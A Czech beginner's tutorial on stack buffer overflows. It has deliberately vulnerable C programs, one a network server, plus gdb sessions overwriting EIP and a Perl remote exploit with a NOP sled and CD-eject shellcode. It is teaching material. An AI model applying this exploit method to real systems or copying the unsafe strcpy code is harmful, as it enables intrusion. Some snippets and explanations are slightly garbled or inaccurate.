

Buffer overflow for dummies in perl

Vložil/a [Nostur](#) [1], 22 Únor, 2007 - 21:09

- [Hacking](#) [2]
- [Hacking method](#) [3]
- [Programming](#) [4]

Pěkný článek pro začátečníky, kde mají praktické ukázky buffer overflow v PERLu a rady jak se této zranitelnosti při psaní vyhnout.

0x00: Intro
0x01: O cem to je
0x02: Ukazka + provedeni
0x03: Finalni verze
0x04: Bezpecne psani
0x05: Outro

==== 0x00: Intro ====

Mno, takže už tolikrát ohrany téma buffer overflows, na který už tolik lidí napsalo tolik článků, třeba jako ventYl na bhole, ale já nemám ani jeden :] takže tady něco málo.

==== 0x01: O cem to je ====

Pretečení bufferu je, jak už sám název připomíná, vložení více dat než je buffer schopný unést, tedy pokud použijeme v C kódu `char buffer[1024]` tak máme nejspíš zделáno na problémy, protože pokud vložíme více dat jak 1024, stane se něco nepekného ;], dojde k porušení paměti a bude možné vložit vlastní kód. K ukázce bezpečného kódu se dostanu později. V každém případě se budeme snažit přepsat `ebp` a `eip`, dva důležité registry. Pro více informací o nich google.

==== 0x02: Ukazka + provedeni ====

Jako první věc nejdriv musíme vypnout kernel patch `randomize_va_space`:

```
[nst@pacman] ~/vulntest > echo 0 > /proc/sys/kernel/randomize_va_space
```

Pak použijeme nebezpečný kód tu:

```
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
```

```
int overflow(char *string) {
char buffer[1024];
strcpy(buffer, string);
return 1;
}
```

```
int main(int argc, char *argv[]) {
```

Buffer overflow for dummies in perl

Publikováno na serveru Security-Portal.cz (<https://www.security-portal.cz>)

```
overflow(argv[1]);
printf("Hotovo...\n");
return 1;
}
```

zkompilujeme:

```
[nst@pacman] ~/vulntest/ > gcc -o bofvuln bofvuln.c
```

a zkusíme spustit bez parametru. Výsledek by měl být `Segmentation fault`, což je správně.

Zkusíme ale spustit s nějakými daty, tedy

```
[nst@pacman] ~/vulntest/ > ./bofvuln blablabla
```

Výsledek bude jen `Hotovo...` protože jsme vložili min znaků než 1024. Co se ale stane pokud zkusíme spustit s více znaky, třeba 1030? Ano, objeví se segmentation fault, takže nastartujeme náš oblíbený debugger gdb na bofvuln:

```
[nst@pacman] ~/vulntest/ > gdb bofvuln
... [ zkráceno ]
This GDB was configured as "i686-pc-linux-gnu"...(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
```

```
(gdb) r
Starting program: /home/nst/vulntest/bofvuln
... [ zkráceno ]
Program received signal SIGSEGV, Segmentation fault.
0xb7f11de0 in strcpy () from /lib/libc.so.6
(gdb) r `perl -e 'print "A"x1030'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
```

```
Starting program: /home/nst/vulntest/bofvuln `perl -e 'print "A"x1030'`
...
Program received signal SIGSEGV, Segmentation fault.
0x08004141 in ?? ()
(gdb) i r ebp
ebp          0x41414141          0x41414141
(gdb) i r eip
eip          0x8004141          0x8004141
(gdb) r `perl -e 'print "A"x1032'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
```

```
Starting program: /home/nst/vulntest/bofvuln `perl -e 'print "A"x1032'`
...
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) r `perl -e 'print "A"x1028'BBBB`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
```

```
Starting program: /home/nst/vulntest/bofvuln `perl -e 'print "A"x1028'BBBB`
...
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
```

Jak můžeme vidět, eip jsme prepsali na 0x41414141 a ebp na 0x424242, přičemž 41 je hodnota `A` a 42 je hodnota `B`. Je tedy jasné, jak lze buffer

overflow zneužit. Ted tedy praktická ukázka s opravdovou exploitací. Nebudeme používat command line buffer overflow, tedy přetečení z příkazové řádky [shellu], ale remotní, se kterým se setkáte mnohem, mnohem častěji. Takže znovu, tu je nebezpečný c soubor:

```
/* Thx Preddy */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define LISTENPORT 31337
#define BACKLOG 10
#define MSG "Nazdar wannabe haxore."

int handle_reply(char *str)
{
    char response[256];

    strcpy(response, str);

    printf("Klient říká: \"%s\\n\"", response);

    return 0;
}

int main(int argc, char * argv[]) {
    int sock, conn;
    struct sockaddr_in my_addr, client_addr;
    int sockopt_on = 1;
    int sa_in_size = sizeof(struct sockaddr_in);
    char reply[1024];

    if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
        perror("socket");
        exit(1);
    }

    memset((char *) &my_addr, 0, sa_in_size);

    my_addr.sin_family = AF_INET;
    my_addr.sin_port = htons(LISTENPORT);
    my_addr.sin_addr.s_addr = htonl(INADDR_ANY);

    if (bind(sock, (struct sockaddr *)&my_addr, sa_in_size) == -1) {
        perror("bind");
        exit(1);
    }

    if (listen(sock, BACKLOG) == -1) {
        perror("listen");
    }
}
```

```
    exit(1);
}

while(1) {
    conn = accept(sock, (struct sockaddr *)&client_addr, &sa_in_size);
    if (conn == -1) {
        perror("accept");
        exit(1);
    }

    printf("got connection from %s\n", inet_ntoa(client_addr.sin_addr));

    send(conn, MSG, strlen(MSG)+1, 0);

    recv(conn, reply, 1024, 0);

    handle_reply(reply);

}

return 0;
}
```

Ok, zkompilujeme a zkusíme spustit, program začne naslouchat na portu definovanéj v LISTENPORT, defaultne tedy 31337. Když se telnetneme na tento port, dostaneme zprávu, a její odpověď od nás se pote odesle na server a zobrazí. V tom je právě chyba, v tom, že buffer pro odpověď je staticky definovaný na 256. Takže stejný postup, až na to, že tentokrát vše půjde přes síť, nejdřív si tedy musíme zkusit poslat tolik, aby jsme buffer overflow flaw opravdu overili, napíšeme si tedy jednoduchý perl script.:

```
#!/usr/bin/perl
# no strict today o_0
use IO::Socket;

$ip = $ARGV[0];
$payload = "\x41"x260; # Nepripada vam to povedome? :] 0x41 aka A

if(!$ip){
    die "Pouziti: sendit.pl <ip>\n"
}

$port = '31337'; #Nezapomente zmenit, pokud jste menili i v remvuln.c
$socket = IO::Socket::INET->new(PeerAddr=>$ip,
                                PeerPort=>$port,
                                Proto=>tcp,
                                Timeout=>'3') || die "[-] Chyba se socketem.\n";

print $socket $payload;

close($socket);
```

Ok, spustíme remvuln a pote i sendit.pl a vidíme něco jako:
Segmentation fault(core dumped)
pote přes

`gdb -c core remvuln`

zjistíme, že jsme úspěšně prepsali `ebp` i `eip`, hura! :D. Pokud se vám nezobrazí `core dumped`, můžete a) spustit `remvuln` v `gdb`, nebo zadat příkaz:

`ulimit -c unlimited`

====0x03: Finalní verze====

Ok, teď k samotnému exploitu, budeme potřebovat prepsat `eip` aby ukazovalo na náš shellkod, a ke zvýšení přesnosti, přece jenom ne každý systém je stejný, použijeme NOPSled. NOP vlastně znamená NO Process, a posouvá vykonávání k dalšímu registru, takže tímto se opravdu sledneme k shellkodu. Konstrukce našeho payloadu k odeslání bude vypadat asi takto:

`[ NOPSLED 220 ] + [ SHELLCODE 40 ] + [ EIP 4 ] = 264`

Ok, a jak zjistit kde bude NOPSled? Jednoduše. `eip` prepíšeme znovu `Acky`, a pak si necháme vyjet oblast paměti a zkusíme najít náš NOPSled. Jen pro informaci, NOP vypadá takto: `\x90` nebo také `0x90`, takže vite co hledat :) Takže náš exploit bude vypadat takto:

Poznámka: Zkousejte dokud se vám `eip` nepodari prepsat úplně přesně. Mějte velikost payloadu v `sendit.pl`.

```
use IO::Socket;
```

```
$ip = $ARGV[0];
```

```
$nopsled = "\x90"x220; #nopsled o 220 bytech
```

```
# Shellcode který otevře cd mechaniku, následuje /dev/cdrom symlink
```

```
# Written by izik
```

```
$shellcode = "\x6a\x05".      # push $0x5
              "\x58".          # pop %eax
              "\x31\xc9".      # xor %ecx,%ecx
              "\x51".          # push %ecx
              "\xb5\x08".      # mov $0x8,%ch
              "\x68\x64\x72\x6f\x6d". # push $0x6d6f7264
              "\x68\x65\x76\x2f\x63". # push $0x632f7665
              "\x68\x2f\x2f\x2f\x64". # push $0x642f2f2f
              "\x89\xe3".      # mov %esp,%ebx
              "\xcd\x80".      # int $0x80
              "\x89\xc3".      # mov %eax,%ebx
              "\xb0\x36".      # mov $0x36,%al
              "\x66\xb9\x09\x53". # mov $0x5309,%cx
              "\xcd\x80".      # int $0x80
              "\x40".          # inc %eax
              "\xcd\x80";      # int $0x80
```

```
$eip = "\x41\x41\x41\x41";
```

```
$payload = $nopsled.$shellcode.$eip; # Samotná konstrukce payloadu, jak byla ukazována výše
```

```
if(!$ip){
```

```
die "Potřebuji IP!\n";
```

```
}
```

Buffer overflow for dummies in perl

Publikováno na serveru Security-Portal.cz (<https://www.security-portal.cz>)

```
$port = '31337';

$socket = IO::Socket::INET->new(PeerAddr=>$ip,
                                PeerPort=>$port,
                                Proto=>tcp,
                                Timeout=>'1') || die "[-] Chyba se socketem o_0\n";

print $socket $payload; # Odeslani payloadu na server
close($socket);
```

Ok, tentokrát už byste měli mít krásné EIP prepsané na 0x41414141, teď v gdb zadejte příkaz:

```
x/1000xb $esp
```

To by vám mělo hodit přímo na nás NOPSled. Super, už tam skoro jsme :]

Jedine co nám ještě schází je poradně prepsat eip, takže vezmeme nějakou adresu uprostřed nopsledu, u mě je to například 0xbf91eb70, změníme to na little endian escaped: \xbf\x91\xeb\x70, a na to poté změníme eip v exploit.pl, ale nesmíme zapomenout, že se vše bere zleva doprava, takže eip bude \x70\xeb\x91\xbf :] A tra-daa měla by se nám otevřít cdromka, tedy mě alespoň ano ;]

====0x04: Bezpečné psaní====

Používejte ochranu stacku, ať už v unixu nebo windows, za každou cenu se vyhnete urcování velikosti bufferu natvrdo, vždy jeho velikost dynamicky počítejte. Snáze se to nejvíce validovat vstup, ať už z HTTP aplikací či přímo přes strlen(). Pro více info se můžete podívat na [OWASP](#) [5].

====0x05: Outro<====

Hoo, tak už to máme za sebou, váš první exploit. Omlouvám se všem, které tento článek nějak urazí, a zároveň vás všechny žádám: Pokud tu mám někde chybu, něco špatně napsaného, špatně vysvětleného, postnete nebo mailujte, budu jen vďečný, protože a) psát neumím dobře, a za b) nesoustředím se na psaní, píšu to po autobusech a přestávkách. Thanks you for reading!

~Tomas "Nostur" Kroupa
~nostur.security-portal.cz
~admin@tkroupa.net

URL článku: <https://www.security-portal.cz/clanky/buffer-overflow-dummies-perl>

Odkazy:

- [1] <https://www.security-portal.cz/users/nostur>
- [2] <https://www.security-portal.cz/category/tagy/hacking>
- [3] <https://www.security-portal.cz/category/tagy/hacking-method>
- [4] <https://www.security-portal.cz/category/tagy/programming>
- [5] <http://www.owasp.org/>